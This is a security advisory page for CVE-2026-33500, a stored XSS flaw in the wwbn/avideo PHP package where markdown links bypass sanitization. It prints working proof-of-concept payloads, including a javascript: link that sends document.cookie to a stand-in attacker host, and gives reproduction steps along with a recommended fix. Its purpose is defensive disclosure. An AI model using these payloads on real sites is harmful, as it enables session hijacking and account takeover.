CVE-2026-33500: Wwbn/avideo Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-72h5-39r7-r26j
CVSS 5.4
CWE-79
Published
Advisory Summary

CVE-2026-33500 is a MODERATE (CVSS 5.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves stored xss via markdown `javascript:` uri bypasses parsedownsafewithlinks sanitization. Remediation is available in the latest vendor maintenance releases.

CVE-2026-33500 at a Glance

CVE Identifier CVE-2026-33500
GHSA Identifier GHSA-72h5-39r7-r26j
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-33500

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33500, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `<a>` and `<img>` tags in comments, but explicitly disables Parsedown's `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown's `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown's built-in `javascript:` URI filtering (`sanitiseElement()`/`filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links. ## Details The original fix (commit `ade348ed6`) enabled `setSafeMode(true)`, which activated Parsedown's built-in URL scheme filtering. This was then replaced by commit `f13587c59` with a custom approach that turned safeMode back off: **`objects/functionsSecurity.php:442-446` — safeMode disabled:** ```php function markDownToHTML($text) { $parsedown = new ParsedownSafeWithLinks(); $parsedown->setSafeMode(false); // line 445 — disables Parsedown's built-in javascript: filtering $parsedown->setMarkupEscaped(false); $html = $parsedown->text($text); ``` **`ParsedownSafeWithLinks` (lines 349-440)** overrides `blockMarkup()` and `inlineMarkup()` to sanitize raw HTML `<a>` tags via `sanitizeATag()`, which whitelist-checks the URL scheme: ```php // sanitizeATag() at line 360 — only allows http(s), mailto, /, # if (preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $url)) { $href = ' href="' . htmlspecialchars($url, ENT_QUOTES) . '"'; } ``` However, this sanitization only runs for **raw HTML** `<a>` tags processed through `inlineMarkup()`. Markdown-syntax links (`[text](url)`) are handled by Parsedown's core `inlineLink()` method (`vendor/erusev/parsedown/Parsedown.php:1258`), which constructs an element array and passes it to `element()`. **`vendor/erusev/parsedown/Parsedown.php:1470-1475` — sanitiseElement only runs when safeMode is true:** ```php protected function element(array $Element) { if ($this->safeMode) // false — so sanitiseElement() is never called { $Element = $this->sanitiseElement($Element); } ``` `sanitiseElement()` would have called `filterUnsafeUrlInAttribute()` which replaces `:` with `%3A` for non-whitelisted schemes like `javascript:`, but it is never invoked. **Data flow:** 1. User posts comment containing `[Click here](javascript:alert(document.cookie))` 2. `xss_esc()` applies `htmlspecialchars()` — no HTML special chars exist in the payload, stored unchanged 3. On retrieval, `xss_esc_back()` reverses encoding (no-op), then `markDownToHTML()` converts markdown to `<a href="javascript:alert(document.cookie)">Click here</a>` 4. Result stored in `commentWithLinks` (`objects/comment.php:420`) 5. Rendered directly in DOM via template at `view/videoComments_template.php:15`: `<p>{commentWithLinks}</p>` ## PoC 1. Log in as any user with comment permission 2. Navigate to any video page 3. Post a comment with the following markdown: ``` [Click here for more info](javascript:alert(document.cookie)) ``` 4. The comment is saved and rendered. Any user viewing the video sees "Click here for more info" as a clickable link 5. Clicking the link executes `alert(document.cookie)` in the victim's browser context For session hijacking: ``` [See related video](javascript:fetch('https://attacker.example/steal?c='+document.cookie)) ``` ## Impact - **Session hijacking:** Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover - **Scope change (S:C):** The XSS executes in the context of the viewing user's session, crossing the trust boundary from the attacker's low-privilege comment context - **Persistence:** The payload is stored in the database and triggers for every user who views the page and clicks the link - **UI:R required:** The victim must click the link, which limits the severity vs. auto-executing XSS ## Recommended Fix Override `inlineLink()` in `ParsedownSafeWithLinks` to apply URL scheme filtering to markdown-generated links: ```php class ParsedownSafeWithLinks extends Parsedown { // ... existing code ... protected function inlineLink($Excerpt) { $Link = parent::inlineLink($Excerpt); if ($Link === null) { return null; } $href = $Link['element']['attributes']['href'] ?? ''; // Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors if ($href !== '' && !preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $href)) { $Link['element']['attributes']['href'] = ''; } return $Link; } } ``` Alternatively, re-enable `safeMode(true)` and find a different approach to allow `<a>` and `<img>` tags (e.g., post-processing the safe output to re-inject whitelisted tags).

CVE-2026-33500 Affected Wwbn/avideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is CVE-2026-33500?
CVE-2026-33500 is a security vulnerability in Wwbn/avideo involving Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-33500?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-33500?
CVE-2026-33500 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-33500?
CVE-2026-33500 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-33500?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-72h5-39r7-r26j",
  "modified" : "2026-03-25T20:31:32Z",
  "published" : "2026-03-20T20:56:52Z",
  "aliases" : [ "CVE-2026-33500" ],
  "summary" : "AVideo - Incomplete Fix for CVE-2026-27568: Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization",
  "details" : "## Summary\n\nThe fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `<a>` and `<img>` tags in comments, but explicitly disables Parsedown's `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown's `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown's built-in `javascript:` URI filtering (`sanitiseElement()`/`filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links.\n\n## Details\n\nThe original fix (commit `ade348ed6`) enabled `setSafeMode(true)`, which activated Parsedown's built-in URL scheme filtering. This was then replaced by commit `f13587c59` with a custom approach that turned safeMode back off:\n\n**`objects/functionsSecurity.php:442-446` — safeMode disabled:**\n```php\nfunction markDownToHTML($text) {\n    $parsedown = new ParsedownSafeWithLinks();\n    $parsedown->setSafeMode(false);   // line 445 — disables Parsedown's built-in javascript: filtering\n    $parsedown->setMarkupEscaped(false);\n    $html = $parsedown->text($text);\n```\n\n**`ParsedownSafeWithLinks` (lines 349-440)** overrides `blockMarkup()` and `inlineMarkup()` to sanitize raw HTML `<a>` tags via `sanitizeATag()`, which whitelist-checks the URL scheme:\n\n```php\n// sanitizeATag() at line 360 — only allows http(s), mailto, /, #\nif (preg_match('/^(https?:\\/\\/|mailto:|\\/|#)/i', $url)) {\n    $href = ' href=\"' . htmlspecialchars($url, ENT_QUOTES) . '\"';\n}\n```\n\nHowever, this sanitization only runs for **raw HTML** `<a>` tags processed through `inlineMarkup()`. Markdown-syntax links (`[text](url)`) are handled by Parsedown's core `inlineLink()` method (`vendor/erusev/parsedown/Parsedown.php:1258`), which constructs an element array and passes it to `element()`.\n\n**`vendor/erusev/parsedown/Parsedown.php:1470-1475` — sanitiseElement only runs when safeMode is true:**\n```php\nprotected function element(array $Element)\n{\n    if ($this->safeMode)        // false — so sanitiseElement() is never called\n    {\n        $Element = $this->sanitiseElement($Element);\n    }\n```\n\n`sanitiseElement()` would have called `filterUnsafeUrlInAttribute()` which replaces `:` with `%3A` for non-whitelisted schemes like `javascript:`, but it is never invoked.\n\n**Data flow:**\n1. User posts comment containing `[Click here](javascript:alert(document.cookie))`\n2. `xss_esc()` applies `htmlspecialchars()` — no HTML special chars exist in the payload, stored unchanged\n3. On retrieval, `xss_esc_back()` reverses encoding (no-op), then `markDownToHTML()` converts markdown to `<a href=\"javascript:alert(document.cookie)\">Click here</a>`\n4. Result stored in `commentWithLinks` (`objects/comment.php:420`)\n5. Rendered directly in DOM via template at `view/videoComments_template.php:15`: `<p>{commentWithLinks}</p>`\n\n## PoC\n\n1. Log in as any user with comment permission\n2. Navigate to any video page\n3. Post a comment with the following markdown:\n\n```\n[Click here for more info](javascript:alert(document.cookie))\n```\n\n4. The comment is saved and rendered. Any user viewing the video sees \"Click here for more info\" as a clickable link\n5. Clicking the link executes `alert(document.cookie)` in the victim's browser context\n\nFor session hijacking:\n```\n[See related video](javascript:fetch('https://attacker.example/steal?c='+document.cookie))\n```\n\n## Impact\n\n- **Session hijacking:** Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover\n- **Scope change (S:C):** The XSS executes in the context of the viewing user's session, crossing the trust boundary from the attacker's low-privilege comment context\n- **Persistence:** The payload is stored in the database and triggers for every user who views the page and clicks the link\n- **UI:R required:** The victim must click the link, which limits the severity vs. auto-executing XSS\n\n## Recommended Fix\n\nOverride `inlineLink()` in `ParsedownSafeWithLinks` to apply URL scheme filtering to markdown-generated links:\n\n```php\nclass ParsedownSafeWithLinks extends Parsedown\n{\n    // ... existing code ...\n\n    protected function inlineLink($Excerpt)\n    {\n        $Link = parent::inlineLink($Excerpt);\n\n        if ($Link === null) {\n            return null;\n        }\n\n        $href = $Link['element']['attributes']['href'] ?? '';\n\n        // Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors\n        if ($href !== '' && !preg_match('/^(https?:\\/\\/|mailto:|\\/|#)/i', $href)) {\n            $Link['element']['attributes']['href'] = '';\n        }\n\n        return $Link;\n    }\n}\n```\n\nAlternatively, re-enable `safeMode(true)` and find a different approach to allow `<a>` and `<img>` tags (e.g., post-processing the safe output to re-inject whitelisted tags).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-72h5-39r7-r26j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33500"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/3ae02fa240939dbefc5949d64f05790fd25d728d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T20:56:52Z",
    "nvd_published_at" : "2026-03-23T17:16:51Z"
  }
}